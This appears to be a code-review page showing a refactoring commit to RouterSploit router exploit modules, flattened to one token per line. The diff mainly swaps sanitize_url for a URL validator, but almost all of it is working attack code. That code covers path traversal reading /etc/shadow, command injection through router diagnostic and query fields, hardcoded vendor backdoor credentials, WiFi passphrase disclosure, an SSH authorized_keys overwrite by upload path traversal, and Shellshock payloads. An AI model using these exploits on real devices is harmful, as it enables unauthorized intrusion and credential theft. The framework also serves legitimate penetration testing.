print_status
,
print_status
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -36,7 +36,7 @@ class Exploit(exploits.Exploit):
...
@@ -36,7 +36,7 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
# address and parameters
# address and parameters
url
=
sanitize_url
(
"{}:{}/cgi-bin/webproc"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/cgi-bin/webproc"
.
format
(
self
.
target
,
self
.
port
)
data
=
{
"getpage"
:
"html/index.html"
,
"*errorpage*"
:
"../../../../../../../../../../..{}"
.
format
(
self
.
filename
),
"var
%3
Amenu"
:
"setup"
,
"var
%3
Apage"
:
"connected"
,
"var
%
"
:
""
,
"objaction"
:
"auth"
,
"
%3
Ausername"
:
"blah"
,
"
%3
Apassword"
:
"blah"
,
"
%3
Aaction"
:
"login"
,
"
%3
Asessionid"
:
"abcdefgh"
}
data
=
{
"getpage"
:
"html/index.html"
,
"*errorpage*"
:
"../../../../../../../../../../..{}"
.
format
(
self
.
filename
),
"var
%3
Amenu"
:
"setup"
,
"var
%3
Apage"
:
"connected"
,
"var
%
"
:
""
,
"objaction"
:
"auth"
,
"
%3
Ausername"
:
"blah"
,
"
%3
Apassword"
:
"blah"
,
"
%3
Aaction"
:
"login"
,
"
%3
Asessionid"
:
"abcdefgh"
}
# connection
# connection
...
@@ -54,7 +54,7 @@ class Exploit(exploits.Exploit):
...
@@ -54,7 +54,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
# address and parameters
# address and parameters
url
=
sanitize_url
(
"{}:{}/cgi-bin/webproc"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/cgi-bin/webproc"
.
format
(
self
.
target
,
self
.
port
)
data
=
{
"getpage"
:
"html/index.html"
,
"*errorpage*"
:
"../../../../../../../../../../../etc/shadow"
,
"var
%3
Amenu"
:
"setup"
,
"var
%3
Apage"
:
"connected"
,
"var
%
"
:
""
,
"objaction"
:
"auth"
,
"
%3
Ausername"
:
"blah"
,
"
%3
Apassword"
:
"blah"
,
"
%3
Aaction"
:
"login"
,
"
%3
Asessionid"
:
"abcdefgh"
}
data
=
{
"getpage"
:
"html/index.html"
,
"*errorpage*"
:
"../../../../../../../../../../../etc/shadow"
,
"var
%3
Amenu"
:
"setup"
,
"var
%3
Apage"
:
"connected"
,
"var
%
"
:
""
,
"objaction"
:
"auth"
,
"
%3
Ausername"
:
"blah"
,
"
%3
Apassword"
:
"blah"
,
"
%3
Aaction"
:
"login"
,
"
%3
Asessionid"
:
"abcdefgh"
}
# connection
# connection
...
...
routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py
View file @
79e72d9d
...
@@ -6,9 +6,9 @@ from routersploit import (
...
@@ -6,9 +6,9 @@ from routersploit import (
print_error
,
print_error
,
print_table
,
print_table
,
print_status
,
print_status
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -32,11 +32,11 @@ class Exploit(exploits.Exploit):
...
@@ -32,11 +32,11 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -62,7 +62,7 @@ class Exploit(exploits.Exploit):
...
@@ -62,7 +62,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/linksys/1500_2500_rce.py
View file @
79e72d9d
...
@@ -6,9 +6,9 @@ from routersploit import (
...
@@ -6,9 +6,9 @@ from routersploit import (
print_status
,
print_status
,
print_error
,
print_error
,
random_text
,
random_text
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -32,7 +32,7 @@ class Exploit(exploits.Exploit):
...
@@ -32,7 +32,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
username
=
exploits
.
Option
(
'admin'
,
'Username to login with'
)
username
=
exploits
.
Option
(
'admin'
,
'Username to login with'
)
password
=
exploits
.
Option
(
'admin'
,
'Password to login with'
)
password
=
exploits
.
Option
(
'admin'
,
'Password to login with'
)
...
@@ -56,7 +56,7 @@ class Exploit(exploits.Exploit):
...
@@ -56,7 +56,7 @@ class Exploit(exploits.Exploit):
print
self
.
execute
(
cmd
)
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/apply.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/apply.cgi"
.
format
(
self
.
target
,
self
.
port
)
data
=
{
"submit_button"
:
"Diagnostics"
,
"change_action"
:
"gozila_cgi"
,
"submit_type"
:
"start_ping"
,
"action"
:
""
,
"commit"
:
"0"
,
"ping_ip"
:
"127.0.0.1"
,
"ping_size"
:
"&"
+
cmd
,
"ping_times"
:
"5"
,
"traceroute_ip"
:
"127.0.0.1"
}
data
=
{
"submit_button"
:
"Diagnostics"
,
"change_action"
:
"gozila_cgi"
,
"submit_type"
:
"start_ping"
,
"action"
:
""
,
"commit"
:
"0"
,
"ping_ip"
:
"127.0.0.1"
,
"ping_size"
:
"&"
+
cmd
,
"ping_times"
:
"5"
,
"traceroute_ip"
:
"127.0.0.1"
}
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
data
,
auth
=
(
self
.
username
,
self
.
password
))
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
data
,
auth
=
(
self
.
username
,
self
.
password
))
...
@@ -66,7 +66,7 @@ class Exploit(exploits.Exploit):
...
@@ -66,7 +66,7 @@ class Exploit(exploits.Exploit):
def
check
(
self
):
def
check
(
self
):
mark
=
random_text
(
32
)
mark
=
random_text
(
32
)
cmd
=
"echo {}"
.
format
(
mark
)
cmd
=
"echo {}"
.
format
(
mark
)
url
=
sanitize_url
(
"{}:{}/apply.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/apply.cgi"
.
format
(
self
.
target
,
self
.
port
)
data
=
{
"submit_button"
:
"Diagnostics"
,
"change_action"
:
"gozila_cgi"
,
"submit_type"
:
"start_ping"
,
"action"
:
""
,
"commit"
:
"0"
,
"ping_ip"
:
"127.0.0.1"
,
"ping_size"
:
"&"
+
cmd
,
"ping_times"
:
"5"
,
"traceroute_ip"
:
"127.0.0.1"
}
data
=
{
"submit_button"
:
"Diagnostics"
,
"change_action"
:
"gozila_cgi"
,
"submit_type"
:
"start_ping"
,
"action"
:
""
,
"commit"
:
"0"
,
"ping_ip"
:
"127.0.0.1"
,
"ping_size"
:
"&"
+
cmd
,
"ping_times"
:
"5"
,
"traceroute_ip"
:
"127.0.0.1"
}
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
data
,
auth
=
(
self
.
username
,
self
.
password
))
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
data
,
auth
=
(
self
.
username
,
self
.
password
))
...
...
routersploit/modules/exploits/linksys/wap54gv3_rce.py
View file @
79e72d9d
...
@@ -5,10 +5,10 @@ from routersploit import (
...
@@ -5,10 +5,10 @@ from routersploit import (
print_success
,
print_success
,
print_error
,
print_error
,
print_status
,
print_status
,
sanitize_url
,
random_text
,
random_text
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -32,7 +32,7 @@ class Exploit(exploits.Exploit):
...
@@ -32,7 +32,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
...
@@ -53,7 +53,7 @@ class Exploit(exploits.Exploit):
...
@@ -53,7 +53,7 @@ class Exploit(exploits.Exploit):
print
self
.
execute
(
cmd
)
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/debug.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/debug.cgi"
.
format
(
self
.
target
,
self
.
port
)
data
=
{
"data1"
:
cmd
,
"command"
:
"ui_debug"
}
data
=
{
"data1"
:
cmd
,
"command"
:
"ui_debug"
}
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
data
,
auth
=
(
"Gemtek"
,
"gemtekswd"
))
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
data
,
auth
=
(
"Gemtek"
,
"gemtekswd"
))
...
...
routersploit/modules/exploits/multi/misfortune_cookie.py
View file @
79e72d9d
...
@@ -4,9 +4,9 @@ from routersploit import (
...
@@ -4,9 +4,9 @@ from routersploit import (
exploits
,
exploits
,
print_success
,
print_success
,
print_error
,
print_error
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -136,7 +136,7 @@ class Exploit(exploits.Exploit):
...
@@ -136,7 +136,7 @@ class Exploit(exploits.Exploit):
return
return
number
=
devices
[
int
(
self
.
device
)][
'number'
]
number
=
devices
[
int
(
self
.
device
)][
'number'
]
offset
=
devices
[
int
(
self
.
device
)][
'offset'
]
offset
=
devices
[
int
(
self
.
device
)][
'offset'
]
url
=
sanitize_url
(
"{}:{}"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}"
.
format
(
self
.
target
,
self
.
port
)
user_agent
=
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
user_agent
=
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers
=
{
'User-Agent'
:
user_agent
,
headers
=
{
'User-Agent'
:
user_agent
,
'Accept'
:
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
,
'Accept'
:
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
,
...
@@ -156,7 +156,7 @@ class Exploit(exploits.Exploit):
...
@@ -156,7 +156,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/test"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/test"
.
format
(
self
.
target
,
self
.
port
)
user_agent
=
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
user_agent
=
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers
=
{
'User-Agent'
:
user_agent
,
headers
=
{
'User-Agent'
:
user_agent
,
'Accept'
:
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
,
'Accept'
:
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
,
...
...
routersploit/modules/exploits/multi/shellshock.py
View file @
79e72d9d
...
@@ -3,7 +3,6 @@ import string
...
@@ -3,7 +3,6 @@ import string
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
sanitize_url
,
print_status
,
print_status
,
print_error
,
print_error
,
print_success
,
print_success
,
...
@@ -11,6 +10,7 @@ from routersploit import (
...
@@ -11,6 +10,7 @@ from routersploit import (
random_text
,
random_text
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -35,7 +35,7 @@ class Exploit(exploits.Exploit):
...
@@ -35,7 +35,7 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
path
=
exploits
.
Option
(
'/'
,
'Url path'
)
path
=
exploits
.
Option
(
'/'
,
'Url path'
)
...
@@ -68,7 +68,7 @@ class Exploit(exploits.Exploit):
...
@@ -68,7 +68,7 @@ class Exploit(exploits.Exploit):
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
marker
=
random_text
(
32
)
marker
=
random_text
(
32
)
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
)
)
url
=
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
)
injection
=
self
.
valid
.
replace
(
"{{marker}}"
,
marker
)
.
replace
(
"{{cmd}}"
,
cmd
)
injection
=
self
.
valid
.
replace
(
"{{marker}}"
,
marker
)
.
replace
(
"{{cmd}}"
,
cmd
)
headers
=
{
headers
=
{
...
@@ -94,7 +94,7 @@ class Exploit(exploits.Exploit):
...
@@ -94,7 +94,7 @@ class Exploit(exploits.Exploit):
cmd
=
"echo $(({}-1))"
.
format
(
number
)
cmd
=
"echo $(({}-1))"
.
format
(
number
)
marker
=
random_text
(
32
)
marker
=
random_text
(
32
)
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
)
)
url
=
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
)
for
payload
in
self
.
payloads
:
for
payload
in
self
.
payloads
:
injection
=
payload
.
replace
(
"{{marker}}"
,
marker
)
.
replace
(
"{{cmd}}"
,
cmd
)
injection
=
payload
.
replace
(
"{{marker}}"
,
marker
)
.
replace
(
"{{cmd}}"
,
cmd
)
...
...
routersploit/modules/exploits/netgear/multi_rce.py
View file @
79e72d9d
...
@@ -5,9 +5,9 @@ from routersploit import (
...
@@ -5,9 +5,9 @@ from routersploit import (
print_info
,
print_info
,
print_error
,
print_error
,
random_text
,
random_text
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -45,7 +45,7 @@ class Exploit(exploits.Exploit):
...
@@ -45,7 +45,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
resources
=
[
'boardData102.php'
,
'boardData103.php'
,
'boardDataNA.php'
,
'boardDataWW.php'
,
'boardDataJP.php'
]
resources
=
[
'boardData102.php'
,
'boardData103.php'
,
'boardDataNA.php'
,
'boardDataWW.php'
,
'boardDataJP.php'
]
...
@@ -70,7 +70,7 @@ class Exploit(exploits.Exploit):
...
@@ -70,7 +70,7 @@ class Exploit(exploits.Exploit):
print_info
(
self
.
execute
(
cmd
))
print_info
(
self
.
execute
(
cmd
))
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/{}?writeData=true®info=0&macAddress= "
url
=
(
"{}:{}/{}?writeData=true®info=0&macAddress= "
"001122334455 -c 0 ;{}; echo #"
.
format
(
self
.
target
,
self
.
port
,
self
.
valid_resource
,
cmd
))
"001122334455 -c 0 ;{}; echo #"
.
format
(
self
.
target
,
self
.
port
,
self
.
valid_resource
,
cmd
))
# blind command injection
# blind command injection
...
@@ -83,7 +83,7 @@ class Exploit(exploits.Exploit):
...
@@ -83,7 +83,7 @@ class Exploit(exploits.Exploit):
cmd
=
"echo {}"
.
format
(
mark
)
cmd
=
"echo {}"
.
format
(
mark
)
for
resource
in
self
.
resources
:
for
resource
in
self
.
resources
:
url
=
sanitize_url
(
"{}:{}/{}?writeData=true®info=0&macAddress= "
url
=
(
"{}:{}/{}?writeData=true®info=0&macAddress= "
"001122334455 -c 0 ;{}; echo #"
.
format
(
self
.
target
,
self
.
port
,
resource
,
cmd
))
"001122334455 -c 0 ;{}; echo #"
.
format
(
self
.
target
,
self
.
port
,
resource
,
cmd
))
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
...
...
routersploit/modules/exploits/netgear/n300_auth_bypass.py
View file @
79e72d9d
...
@@ -2,9 +2,9 @@ from routersploit import (
...
@@ -2,9 +2,9 @@ from routersploit import (
exploits
,
exploits
,
print_success
,
print_success
,
print_error
,
print_error
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -37,20 +37,20 @@ class Exploit(exploits.Exploit):
...
@@ -37,20 +37,20 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
url
=
sanitize_url
(
"{}:{}"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}"
.
format
(
self
.
target
,
self
.
port
)
print
"Visit: {}/
\n
"
.
format
(
url
)
print
"Visit: {}/
\n
"
.
format
(
url
)
else
:
else
:
print_error
(
"Target seems to be not vulnerable"
)
print_error
(
"Target seems to be not vulnerable"
)
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -58,14 +58,14 @@ class Exploit(exploits.Exploit):
...
@@ -58,14 +58,14 @@ class Exploit(exploits.Exploit):
# unauthorized
# unauthorized
if
response
.
status_code
==
401
:
if
response
.
status_code
==
401
:
url
=
sanitize_url
(
"{}:{}/BRS_netgear_success.html"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/BRS_netgear_success.html"
.
format
(
self
.
target
,
self
.
port
)
for
_
in
range
(
0
,
3
):
for
_
in
range
(
0
,
3
):
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
url
=
sanitize_url
(
"{}:{}/"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
...
...
routersploit/modules/exploits/netgear/prosafe_rce.py
View file @
79e72d9d
...
@@ -6,9 +6,9 @@ from routersploit import (
...
@@ -6,9 +6,9 @@ from routersploit import (
print_status
,
print_status
,
print_error
,
print_error
,
random_text
,
random_text
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -35,7 +35,7 @@ class Exploit(exploits.Exploit):
...
@@ -35,7 +35,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
...
@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
...
@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
mark
=
random_text
(
32
)
mark
=
random_text
(
32
)
url
=
sanitize_url
(
"{}:{}/login_handler.php"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/login_handler.php"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
'reqMethod=json_cli_reqMethod" "json_cli_jsonData";{}; echo {}'
.
format
(
cmd
,
mark
)
data
=
'reqMethod=json_cli_reqMethod" "json_cli_jsonData";{}; echo {}'
.
format
(
cmd
,
mark
)
...
...
routersploit/modules/exploits/technicolor/tc7200_password_disclosure.py
View file @
79e72d9d
...
@@ -2,9 +2,9 @@ from routersploit import (
...
@@ -2,9 +2,9 @@ from routersploit import (
exploits
,
exploits
,
print_success
,
print_success
,
print_error
,
print_error
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -28,11 +28,11 @@ class Exploit(exploits.Exploit):
...
@@ -28,11 +28,11 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/goform/system/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/goform/system/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
...
@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/goform/system/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/goform/system/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/ubiquiti/airos_6_x.py
View file @
79e72d9d
...
@@ -13,9 +13,9 @@ from routersploit import (
...
@@ -13,9 +13,9 @@ from routersploit import (
print_success
,
print_success
,
print_error
,
print_error
,
random_text
,
random_text
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -42,7 +42,7 @@ class Exploit(exploits.Exploit):
...
@@ -42,7 +42,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. https://192.168.1.1'
)
# Target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. https://192.168.1.1'
,
validators
=
validators
.
url
)
# Target address
port
=
exploits
.
Option
(
443
,
'Target port e.g. 443'
)
# Default port
port
=
exploits
.
Option
(
443
,
'Target port e.g. 443'
)
# Default port
def
run
(
self
):
def
run
(
self
):
...
@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
...
@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
upload_params
=
{
'file'
:
(
'../../etc/dropbear/authorized_keys'
,
tmp_file_pubkey
,
{
'Expect'
:
''
})}
upload_params
=
{
'file'
:
(
'../../etc/dropbear/authorized_keys'
,
tmp_file_pubkey
,
{
'Expect'
:
''
})}
upload_url
=
sanitize_url
(
'{0}:{1}/login.cgi'
.
format
(
self
.
target
,
self
.
port
)
)
upload_url
=
'{0}:{1}/login.cgi'
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
url
=
upload_url
,
method
=
'POST'
,
files
=
upload_params
)
response
=
http_request
(
url
=
upload_url
,
method
=
'POST'
,
files
=
upload_params
)
if
response
is
None
:
if
response
is
None
:
...
@@ -123,7 +123,7 @@ class Exploit(exploits.Exploit):
...
@@ -123,7 +123,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
base_url
=
sanitize_url
(
'{}:{}/'
.
format
(
self
.
target
,
self
.
port
)
)
base_url
=
'{}:{}/'
.
format
(
self
.
target
,
self
.
port
)
upload_url
=
base_url
+
'login.cgi'
upload_url
=
base_url
+
'login.cgi'
response
=
http_request
(
url
=
upload_url
,
method
=
'GET'
)
response
=
http_request
(
url
=
upload_url
,
method
=
'GET'
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment